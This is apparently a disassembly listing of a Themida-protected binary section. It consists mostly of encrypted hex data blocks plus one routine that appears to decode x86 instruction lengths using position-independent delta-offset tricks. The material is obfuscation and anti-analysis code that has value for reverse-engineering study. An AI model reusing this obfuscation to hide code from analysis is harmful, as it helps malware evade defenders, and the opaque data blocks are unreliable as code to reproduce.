		dd 71E71E14h, 5B39366Eh, 0DF15h, 6981A900h, 45163F1Dh
		dd 77281DF9h, 6C0B1460h, 83212A76h, 0DA348052h,	1F19657Dh
		dd 0C6B67093h, 0A8C4984Fh, 4FC6B7B6h, 84FAD676h, 0A84FC6B7h
		dd 0C996A089h, 0CA8BC511h, 0FE53CC18h, 363A263Eh, 498EB71Dh
		dd 26373009h, 0EB7544Ah, 0D039D856h, 0B6E65874h, 0EB46560Eh
		dd 0FE36D94Fh, 51EF0537h, 42C44430h, 2A04E504h,	70B71E32h
		dd 9A754FD4h, 86D28DAEh, 9DE901DAh, 0C39CBD91h,	0A94F9777h
		dd 0C16ACCBFh, 2245Ch, 8DD98B00h, 8FDBF2A3h, 90DCF4A5h
		dd 93DFF7A8h, 93DFF8A9h, 8F14BAA9h, 0F3A48CD8h,	0F9AA92DEh
		dd 0FD9E96E2h, 3B9F99E5h, 306BDBEFh, 2AC95614h,	965A8628h
		dd 4FC6B320h, 32242814h, 24FC6B3h, 2B2C061Fh, 237CE834h
		dd 0AAB750B9h, 9EB9AAD9h, 0CF90C852h, 1B65CF1Bh, 75D3E95Bh
		dd 8E9E8259h, 19352649h, 40DF41CDh, 0DEF56D07h,	776C560Eh
		dd 687F202Bh, 0EF45231Ch, 0E0FC6914h, 0DF7EF0FCh, 53AE560Eh
		dd 0BC3291C7h, 5B394227h, 0C95Ch, 6981F200h, 5A75221Dh
		dd 5477150Eh, 8F4FC6B6h, 50B18FDBh, 60ED8AEFh, 0DFCF9BB4h
		dd 4D4FC751h, 97BF5BB2h, 9CC814C6h, 0C05AA6BBh,	7A92B287h
		dd 0DC9F2CEh, 517EF0FCh, 53AE4FC7h, 7E9871BAh, 8F515DF6h
		dd 0C8708F49h, 8BB9CF71h, 0D4BEBFBFh, 0B6926D4Fh, 6CB8B18Ah
		dd 93C44EB3h, 97C870BCh, 0AB9BAFC0h, 894FC8E6h,	4DAF7FA6h
		dd 48CCBF44h, 11F3E1Fh,	0D6860000h, 0D491D28Ah,	0D98FD088h
		dd 0DCF2A38Dh, 0E0F7A890h, 15BD9C94h, 0D18BD790h, 0A38DD990h
		dd 9B95E1F2h, 0B49CE8FAh, 7EF0FC20h, 0AE561431h, 55860B17h
		dd 0CF52E7Ah, 0B32A1C30h, 270A4FC6h, 49954A0Bh,	0DC283A1Bh
		dd 0D21E3463h, 0FD19F059h, 6520859h, 6981F44Eh,	5D75221Dh
		dd 0FA459147h, 7E62FE27h, 0EA35815Dh, 0B3453917h, 46E74FC6h
		dd 1E305832h, 2B071E5Fh, 0AEC4C23h, 0A4200B57h,	4113A274h
		dd 6D4EFA13h, 471A2571h, 145B6FEBh, 62498BD2h, 0C7D884BFh
		dd 885AE724h, 3036E33Ch, 677BDC36h, 0E1489451h,	0E8342677h
		dd 4019455Fh, 0FF62DD29h, 13D5FD71h, 53062F56h
		dd 3CE53C07h, 83387AF2h, 247A809Dh, 8F4871E1h, 15210843h
		dd 0E469248h, 216D6952h, 49204326h, 53DF42FDh, 3B045002h
		dd 0D4203821h, 3B1CF64Bh, 1C4CD723h, 481A8F46h,	4F0354FCh
		dd 5F746503h, 0EF3B3013h, 59821A23h, 14ED3682h,	131BFAh
		dd 86B70000h, 0EA4DEC1Dh, 0FA25C525h, 5175A19h,	0E29055Ah
		dd 1F6B8164h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h
		dd 216D6215h, 115D7926h, 236F6916h, 125E7728h, 54687419h
		dd 89000047h, 0E668241Ch, 8900001Dh, 89502434h,	405E0h
		dd 0E8830000h, 24048704h, 240C895Ch, 734ABA52h,	8152064Dh
		dd 3CEA242Ch, 815E117Eh, 7E3CEAC6h, 63685A11h, 8900004Eh
		dd 4832424h, 83590424h,	348904ECh, 8418F24h, 50240C8Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 5E2434FFh,	0E904C483h
		dd 0FFFAFCAFh, 0FAB37DD3h, 0E43609B3h, 4D803FB8h, 0FFC50306h
		dd 86435CE0h, 9A448936h, 806F5B73h, 0FAFA9000h,	0C6F51C0Eh
		dd 47828F1Eh, 93FB935h,	1432F62Eh, 9AD98261h, 0B3E99612h
		dd 0C339021Ch, 69D7282Ah, 6C94251Eh, 0BEC04813h, 0A7C6D11h
		dd 4584E47Bh, 0B80C6930h, 2AFA2E05h, 6CF4F70Ch,	0D02D937Ah
		dd 169A8838h, 362B379h,	0D3E59744h, 0AFFB651Eh,	0C52E6665h
		dd 48359E06h, 7710437Bh, 0D1E4C643h, 3FC3774h, 0ED7B0558h
		dd 30496149h, 1C8E95Dh,	88880000h, 7 dup(88880041h), 41h
		dd 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h
		db 2 dup(8)
aIiii		db '┬┬┬┬',0             ; DATA XREF: ___:off_438138o
		align 4
		dd 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 64D8312h, 5F85C760h
		dd 64D82h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 64D8263h
		dd 6, 24E9h, 67858D00h,	50064D82h, 82B7858Dh, 5650064Dh
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	4D826385h
		dd 0B5036106h, 64D8263h, 825F858Bh, 0C35D064Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59510D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_595119
; ---------------------------------------------------------------------------

loc_59510D:				; CODE XREF: Themida_:005950F6j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_595119:				; CODE XREF: Themida_:00595108j
		push	ebx
		push	esi
		push	edi

loc_59511C:				; CODE XREF: Themida_:00595171j
					; Themida_:0059518Dj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_59512F:				; CODE XREF: Themida_:00595156j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D83C9h
		lea	ebp, [ebp+64D823Fh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59515C
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59512F

loc_59515C:				; CODE XREF: Themida_:0059514Bj
		cmp	cl, 0Bh
		jz	loc_5951B9
		cmp	al, 66h
		jnz	loc_59519A
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59511C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_595192
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59511C
; ---------------------------------------------------------------------------

loc_595192:				; CODE XREF: Themida_:0059517Fj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59519A:				; CODE XREF: Themida_:00595167j
		cmp	al, 67h
		jnz	loc_59511C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59511C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59511C
; ---------------------------------------------------------------------------

loc_5951B9:				; CODE XREF: Themida_:0059515Fj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5951E5
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5951EA
; ---------------------------------------------------------------------------

loc_5951E5:				; CODE XREF: Themida_:005951C4j
		movzx	edi, al
		shr	edi, 1

loc_5951EA:				; CODE XREF: Themida_:005951E0j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D8481h
		lea	ebp, [ebp+64D813Fh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59536C
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5952B0
		dec	ecx
		jz	loc_595293
		dec	ecx
		jnz	loc_595303
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5952FF
		cmp	byte ptr [ebp-5], 0
		jz	loc_595272
		mov	byte ptr [ebp+0Bh], 2

loc_595272:				; CODE XREF: Themida_:00595268j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 64D850Dh
		mov	dword ptr [ebp+64D825Fh], 1
		pop	ebp
		jmp	loc_595303
; ---------------------------------------------------------------------------

loc_595293:				; CODE XREF: Themida_:0059524Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5952DD
		cmp	byte ptr [ebp-5], 0
		jz	loc_5952DD
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5952DD
; ---------------------------------------------------------------------------

loc_5952B0:				; CODE XREF: Themida_:00595246j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5952F6
		cmp	byte ptr [ebp-5], 0
		jz	loc_5952E5
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5952DD
		mov	[ebp+0Bh], cl

loc_5952DD:				; CODE XREF: Themida_:00595297j
					; Themida_:005952A1j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_595303
; ---------------------------------------------------------------------------

loc_5952E5:				; CODE XREF: Themida_:005952BEj
		cmp	dl, 5
		jnz	loc_595303
		mov	[ebp+0Bh], dl
		jmp	loc_595303
; ---------------------------------------------------------------------------

loc_5952F6:				; CODE XREF: Themida_:005952B4j
		cmp	dl, 6
		jnz	loc_595303

loc_5952FF:				; CODE XREF: Themida_:0059525Ej
		mov	byte ptr [ebp+0Bh], 3

loc_595303:				; CODE XREF: Themida_:00595254j
					; Themida_:0059528Ej ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_595331
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_595313:				; CODE XREF: Themida_:00595329j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_595313
		mov	esi, edx

loc_595331:				; CODE XREF: Themida_:00595306j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_595366
		cmp	edi, 7Fh
		ja	loc_595366
		test	bl, 38h
		jnz	loc_595366
		cmp	byte ptr [ebp-7], 0
		jz	loc_595360
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_595363
; ---------------------------------------------------------------------------

loc_595360:				; CODE XREF: Themida_:00595351j
		push	1
		pop	eax

loc_595363:				; CODE XREF: Themida_:0059535Bj
		mov	[ebp-1], al

loc_595366:				; CODE XREF: Themida_:00595335j
					; Themida_:0059533Ej ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59536C:				; CODE XREF: Themida_:00595216j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_595397
		dec	eax
		dec	eax
		jz	loc_59538D
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59539F
; ---------------------------------------------------------------------------

loc_59538D:				; CODE XREF: Themida_:0059537Cj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59539C
; ---------------------------------------------------------------------------

loc_595397:				; CODE XREF: Themida_:00595374j
		mov	al, [ebp-3]
		add	al, 4

loc_59539C:				; CODE XREF: Themida_:00595392j
		add	[ebp-1], al

loc_59539F:				; CODE XREF: Themida_:00595388j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5953C7
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_5953B2:				; CODE XREF: Themida_:005953C1j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5953B2

loc_5953C7:				; CODE XREF: Themida_:005953A7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0D08Bh
		dd 10E8h, 0D3003700h, 7AE1CB9Bh, 218F94FAh, 1AA2E623h
		dd 0C1B70F12h, 0A2BA6659h, 0EEC18186h, 66000067h, 0D468F38Bh
		dd 0F5000019h, 29EE815Fh, 0FF76D687h, 9E931h, 0BDE60000h
		dd 0E1AF641h, 5B14C917h, 0BE9h,	890CD900h, 0A24753ABh
		dd 20F540B1h, 0EBD9EB81h, 12B60592h, 83A7EB81h,	0E8606E83h
		dd 9, 0D4B3D712h, 2AF1A579h, 66605F69h,	0B2346EBAh, 816161E9h
		dd 22FB35F3h, 89D38A09h, 6A2BB819h, 0E9836930h,	38C0F04h
		dd 80000000h, 0F4F6BE0h, 0FFFF9685h, 4890FFFh, 66000000h
		dd 8D10ADB8h, 4D87A58Dh, 0F38BF806h, 0A198D89h,	81660648h
		dd 0C7E67BD6h, 480F3585h, 601006h, 0C820F00h, 0F000000h
		dd 68Eh, 459D2900h, 0C7064830h,	48242585h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 5DAC87DEh, 0ED958960h, 8B06481Eh, 0B5FF61C6h, 6481855h
		dd 0FFC2B70Fh, 4820BD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 29EFC268h
		dd 4827B98Dh, 0FF006A06h, 48306195h, 0EBC08B06h, 6E8CF658h
		dd 0EEC6F854h, 0DA1C8D1Ch, 35BEAC92h, 16E98A84h, 6BDF25C9h
		dd 26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh,	0ECC6163Ch
		dd 2F5534F5h, 0A40981BFh, 4E856B32h, 865F4867h,	0EFB90683h
		dd 4B62A959h, 0E49C7699h, 99A394FEh, 21AC0BDEh,	0A9AC5362h
		dd 0E25C0D3Fh, 0FC08B0Fh, 0BD83D1BFh, 64820E9h,	83097500h
		dd 482C61BDh, 19740006h, 0C08B5350h, 3FCB8h, 0A1858900h
		dd 8D064828h, 4AB02C9Dh, 5BD3FF06h, 61BD8358h, 6482Ch
		dd 53501774h, 3FCB8h, 0A1858900h, 8D064828h, 4AAD1B9Dh
		dd 5BD3FF06h, 2820F58h,	0B6000000h, 51006A1Eh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F089C358h
		dd 50E2CF70h, 8B665B95h, 6AC08BD1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 12FFC353h
		dd 80FAE550h, 0BD8365F7h, 6481949h, 45840F01h, 0F8000000h
		dd 0D8DBD83h, 0F000648h, 3785h,	0ACBB6600h, 19BD83C2h
		dd 6480Bh, 0CA840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0FBF87C3h, 38Bh, 0D78B6600h
		dd 3B3E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0FBFBDCCh, 70BA6675h, 58A0F6Ah, 0BA000000h
		dd 5AEDC8E6h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3AC35646h
		dd 0D3178887h, 60C789C0h, 0CE9h, 0FA5A1D00h, 0F3BA9B74h
		dd 71C02BA6h, 0F51610Dh, 1182h,	0BE800h, 36A00000h, 0D4688AFDh
		dd 9E8EE5DCh, 6A5B5AFBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 5768C352h, 4D8C486Dh
		dd 1002FB3Dh, 11630EB9h, 4204DC7Dh, 0C1C2B67Dh,	2FDAFD6Dh
		dd 0C789FD80h, 9C4AA6E1h, 0C3ADA169h, 0C3ADB9F1h, 0C789FD21h
		dd 44AAE5Fh, 3AC36C56h,	73339BF1h, 6050478Bh, 1776836Fh
		dd 2E9E1E60h, 0C789F93Eh, 2FDFFD52h, 0C789FD1Fh, 994AA32Eh
		dd 0C3AD898Eh, 0C3ADB902h, 0C789FDD9h, 4C4AABA6h, 0D3DF681Dh
		dd 0C789156Dh, 46D4FD1Ch, 8A03F6E3h, 0C78F1401h, 1F9FD83h
		dd 16EFD357h, 2FDBFD8Ah, 0C789FD73h, 9D4AA718h,	0C3ADA995h
		dd 0C3ADB98Fh, 0C789FD1Fh, 0C14AAFC1h, 3C57B491h, 4C751660h
		dd 918997B0h, 0C789FED0h, 4D7DD1Ch, 0E3FD7450h,	0E3CD7C03h
		dd 0C789E187h, 4DFBBC1h, 99420F76h, 8CD227C7h, 0C707F2E8h
		dd 9789FD1Ch, 0C789F3E7h, 1D77CF07h, 6C25484Fh,	76A61A95h
		dd 4E15A8CBh, 0A1E9D974h, 0A66A6287h, 0E3C5FC13h, 958997F0h
		dd 0C789FEEFh, 4D3DD83h, 0E3DD749Bh, 0E3CD7CE4h, 0C789E174h
		dd 4DBBF38h, 9DBE9802h,	9672BBA2h, 0C304F2E5h, 0A189FD83h
		dd 0A1EF3F7Bh, 9F66DE5Bh, 2FDAFD1Ah, 0C789FD3Bh, 9C4AA63Ch
		dd 0C3ADA187h, 0C3ADB986h, 0C789FD9Fh, 44AAE82h, 8F90D69h
		dd 9C1CAD92h, 0C789FAD1h, 0B266781Ch, 4C08CCEAh, 0C78BF102h
		dd 94899783h, 0C789FE29h, 4D2DDE0h, 0E3D5742Bh,	0E3CD7C3Ch
		dd 0C789EB18h, 4DABE0Eh, 0C83F9A1Bh, 0C789FE09h, 19029BC1h
		dd 0C78B75EFh, 1602FD70h, 2F33F5B3h, 0A18BAD70h, 3275B585h
		dd 0C789FCBFh, 0C7851483h, 0BA7CFDC1h, 0E2721795h, 0BFF85889h
		dd 9718FAB3h, 0C8444A4Eh, 5E3C463Fh, 9FD3FA9Ch,	11029BD3h
		dd 0C105F250h, 4689FDE0h, 77CE5BAh, 1E059B52h, 67F2297h
		dd 7A0CF20Ah, 9789FD07h, 9D5776E5h, 91899798h, 0C789FE08h
		dd 4D7DD70h, 0E3FD7466h, 0E3CD7C18h, 0C789E40Ah, 4DFBB07h
		dd 0D3C232CCh, 0FE099E2Dh, 200CF288h, 0AD89FD70h, 0C461AB38h
		dd 0E789FD1Ch, 4ED73E50h, 468DD973h, 0DA8DD9C7h, 8189FDC1h
		dd 1C933EB6h, 0E5CF3808h, 14CD6853h, 4986AEAAh,	0C789FD0Ah
		dd 0C7E94661h, 46888408h, 0D7C96703h, 0C7767CC3h, 0C809FD70h
		dd 0C7895CBAh, 963C461Ch, 424EEF5Dh, 0C1C4742Ah, 0C789FD82h
		dd 2E5E42CEh, 0C789FD50h, 722C08CBh, 0C7091456h, 0C7E3FD1Ch
		dd 0C78A155Ch, 9DA9FD07h, 9300A740h, 8308F9E5h,	0C793F9C4h
		dd 95CBFD70h, 605FB4FBh, 0C3432D34h, 5B5D4768h,	0C783145Eh
		dd 2008FD83h, 9A223EB3h, 82B1318Fh, 0CCF07E16h,	0F80DF2C7h
		dd 0AD89FD1Ch, 0C461AE0Eh, 0E789FD07h, 4ED23ED8h, 468DD99Dh
		dd 0D38DD9A4h, 8489FD70h, 0C8B73E6Bh, 0C789F69Dh, 78869D0Eh
		dd 0C705F2D8h, 0A689FD83h
		db 6
byte_5959E9	db 78h,	0A4h, 4Eh	; DATA XREF: Themida_:005481B4o
		dd 0C788FBADh, 1D08FD70h, 0DA68E37Ah, 0ADC1A74Ch, 0C461AB0Eh
		dd 0E789FD07h, 4ED73EDDh, 468DD9B5h, 0DF8DD9A4h, 8189FD70h
		dd 0A7DD3E6Eh, 0A1A458B1h, 0E66A3F8Fh, 0DFF183BEh, 450C70E6h
		dd 4A8FB04Fh, 8A05305Dh, 0B371C676h, 1686CD3Fh,	3262BAD5h
		dd 2FDEFD64h, 0C789FD04h, 984AA2A3h, 0C3AD8148h, 0C3ADB961h
		dd 0C789FD65h, 424AAA7Fh, 7CEF04C4h, 7A0A10C9h,	0C1C1E44Eh
		dd 0FB0DF282h, 0A189FDC1h, 7A0A276Bh, 0C1C1F0FDh, 0EB0CF238h
		dd 0C889FD1Ch, 0C789FE81h, 646A7D07h, 0CC904000h, 0C889FB89h
		dd 0C789B064h, 0D706F270h, 2E89FD38h, 0C789FD17h, 5A47273Eh
		dd 0E805700Bh, 2ED5854Fh, 0C789FD37h, 2FDFFD8Ah, 0C789FD73h
		dd 994AA318h, 0C3AD8995h, 0C3ADB98Fh, 0C789FD11h, 0AD4AABC5h
		dd 4B3AFC08h, 0C789F009h, 0F2B55F70h, 0D8B78AF2h, 6413C998h
		dd 7A0A2689h, 0C1C1E44Eh, 4D0CF282h, 0AD89FDC1h, 0C461A8E0h
		dd 0E789FD70h, 4ED43E65h, 468DD970h, 0D38DD94Ah, 8289FD07h
		dd 0C8A33ED6h, 0C789E84Ah, 0C79914E0h, 0A604FD70h, 0D3D433A2h
		dd 61BA0AD2h, 86E442E5h, 3A037081h, 948997DEh, 0C789FE29h
		dd 4D2DDE0h, 0E3D5742Bh, 0E3CD7C3Ch, 0C789E018h, 4DABE0Eh
		dd 0A3989193h, 0F63E46A0h, 0AD4A7FD3h, 0C461ABE0h, 0E789FD70h
		dd 4ED73E66h, 468DD968h, 0DC8DD94Ah, 8189FD07h,	0DCF43ED5h
		dd 0D3EB155Eh, 0E8607885h, 4D89FD70h, 0C7E3A0E8h, 0C78A154Ah
		dd 99A9FD0Eh, 0B300A3C4h, 8308F9A7h, 0C795F9E5h, 91CFFDE0h
		dd 0D7CC11B3h, 0CCEFC5AFh, 3409D108h, 4CDB3255h, 7A04A7D0h
		dd 0C1C4741Eh, 49C6704Ch, 0DA31FBADh, 0F4F2C72Ch, 8F89F0BDh
		dd 646D61Ah, 0DFF183BEh, 450C70E6h, 4A8FB04Fh, 8A05305Dh
		dd 0B371C676h, 1686CD3Fh, 0E983BAD5h, 83A4F305h, 4D892DBDh
		dd 0D740006h, 4B648D8Dh, 1B80648h, 0FF000000h, 0D28140E1h
		dd 269A68D1h, 0BA66DBB7h, 0E8839339h, 52006A2Dh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 8EDED207h, 8B2FA141h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 72E8CFD6h, 59DA6D8Eh
		dd 837BCB80h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h
		dd 8B535019h, 3FCB8C0h,	85890000h, 6480021h, 0B0939D8Dh
		dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h,	3FCB853h
		dd 85890000h, 6480021h,	0AD349D8Dh, 0D3FF064Ah,	6A585Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5F5EA3C3h, 0AE8DCh, 51D90000h, 1BCA01B0h, 0B498EF72h
		dd 2DB3F381h, 0E95B3F22h, 12h, 0C202A0F2h, 17B2E211h, 0F5FF1B9Dh
		dd 0F7488F45h, 6A4F7Dh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 93804EC3h, 57B7B163h, 0AE9h, 8AE43800h
		dd 0C8AB1049h, 8BF9AE72h, 2DEBC0h, 0D0000000h, 9CBFAE0Dh
		dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
		dd 9D8993h, 67268168h, 3B2BD14h, 2061EF16h, 0A96E9h, 90C46800h
		dd 78E9064Dh, 68FFFAEDh, 64D91F2h, 0FAED6EE9h, 92C268FFh
		dd 64E9064Dh, 68FFFAEDh, 64D935Ch, 0FAED5AE9h, 941768FFh
		dd 50E9064Dh, 68FFFAEDh, 64D94ECh, 0FAED46E9h, 95A968FFh
		dd 3CE9064Dh, 68FFFAEDh, 64D979Fh, 0FAED32E9h, 98DC68FFh
		dd 28E9064Dh, 4DFFFAEDh, 50114B97h, 4E0F4995h, 0B5E64E9Ah
		dd 0B2E34D99h, 78E7519Dh, 0C612CD52h, 0C814CD8Eh, 0D01CCF90h
		dd 0D7233768h, 1935795Dh, 56144325h, 5BE2EC07h,	5975D3E9h
		dd 498B3D2Ah, 9BBF9D84h, 0E25DA9BAh, 0B0A2B37Fh, 0B7ABEC64h
		dd 0A799E06Bh, 0F97B391h, 0DD4FD8CDh, 1D352642h, 834773D1h
		dd 4FC6B313h, 4225FE21h, 0A2DD4097h, 5CFD51DDh,	0F50E3A86h
		dd 0D3D6F1D8h, 0FE47D35Eh, 55F3093Bh, 8F93B679h, 0F919F849h
		dd 0CAF54D15h, 65ABB64h, 0BD000009h, 0C0E15BA7h, 0BEDF59A5h
		dd 0A5F65EAAh, 0A2F35DA9h, 68F761ADh, 0B602DD62h, 0B804DD7Eh
		dd 0C00CDF80h, 0C713C798h, 9E5098Dh, 56144395h,	81F23C97h
		dd 75221D69h, 5027115Dh, 0B570EF0h, 592A4622h, 93498E92h
		dd 0B089B36Ch, 4FB26DB9h, 0D3B3A7C3h, 7EB4560Eh, 31CED147h
		dd 36B55B39h, 49000000h, 2C785586h, 0DED4FE2h, 0F6CD0553h
		dd 0AB30ABCBh, 0C960C982h, 0C17CCF9Bh, 4FB2498Eh, 0C1C2B8D4h
		dd 0ADA5560Eh, 23C3E056h, 0D7C05B39h, 74000000h, 0F6408C43h
		dd 965A8650h, 4FC6B320h, 3421ED14h, 2659D21Eh, 0F9451B31h
		dd 4C6D1710h, 6BEC4692h, 7F202B77h, 79351F6Bh, 4FC6B13Eh
		dd 8DD991AAh, 0B2FED481h, 0E1FDDE8Ah, 35CC18CBh, 1A667CD9h
		dd 16F84811h, 0D138F33Fh, 0D42D796Eh, 9D4F6468h, 0C6D7498Eh
		dd 70140916h, 84A67023h, 58B1FDD3h, 0FE14CBECh,	0C2A7A0ECh
		dd 0AD89E06Bh, 5A72D2A9h, 3254E2EEh, 87A84FD4h,	0FDE18AE3h
		dd 0D11D333Ch, 0F31AF356h, 1F6B6455h, 0F6421841h, 6C63341Ch
		dd 82061220h, 0F843CCBFh, 7D805h, 91DD8F00h, 93DFF6A7h
		dd 94E0F8A9h, 97E3FB9Ch, 97E3FC9Dh, 9318BE9Dh, 97C870BCh
		dd 9DBE76C2h, 0A1C27AC6h, 0BFD37DC9h, 44DFCF9Bh, 764D5614h
		dd 1A66812Ch, 1D698122h, 0E95B4933h, 825975D3h,	0EC498E9Eh
		dd 0F872FA45h, 6F560EDEh, 89168C47h, 0FA5B3941h, 0B7h
		dd 1D698194h, 0E5A7522h, 0B1407715h, 8FA84FC6h,	0AF928DD9h
		dd 94E0F263h, 9BE7FB9Ch, 9C77C990h, 0C6B6DED0h,	5AB34E4Fh
		dd 0C713CDEEh, 0B2CBEF6Bh, 0A819B21Bh, 0E68EA838h, 498EB4CDh
		dd 0D521361Fh, 260EF74Ah, 148A667Ah, 18560EE5h,	2A1A1DF9h
		dd 3B1A3612h, 0F14FD452h, 0F64CF80Ch, 0F118FD18h, 216D6253h
		dd 0F4401243h, 6A65361Ah, 0C27E101Eh, 0F03BCCBFh, 7080Dh
		dd 61ADBF00h, 63AFA6F7h, 64B0A8F9h, 67B3ABECh, 67B3ACEDh
		dd 0E3686EEDh, 0E7B8A0ECh, 0EDAEA6F2h, 0F1B2AAF6h, 0F83ADF9h
		dd 458FFFCBh, 469D5614h, 1A6681FCh, 53698122h, 0DF42F7Bh
		dd 81023CF4h, 75221D69h, 8B27115Dh, 4FC6B317h, 60FC1424h
		dd 8B3D958Ch, 5CC349h, 0F4ED03D7h, 86D781A8h, 5BA7BED4h
		dd 0A0A079B2h, 42B7A7C3h, 9A755614h, 42ACA2AEh,	0A1805614h
		dd 28C3DC88h, 209A26D8h, 55CE1AD0h, 61F915ECh, 0DBDECE8Dh
		dd 1121004Fh, 0CCB8B873h, 6E10052Eh, 25000006h,	2879E32Fh
		dd 2677E12Dh, 2D6EE632h, 2A6BE531h, 0F06FE935h,	1E6A65EAh
		dd 206C6536h, 28746738h, 2F7B6F30h, 814D9105h, 5614460Dh
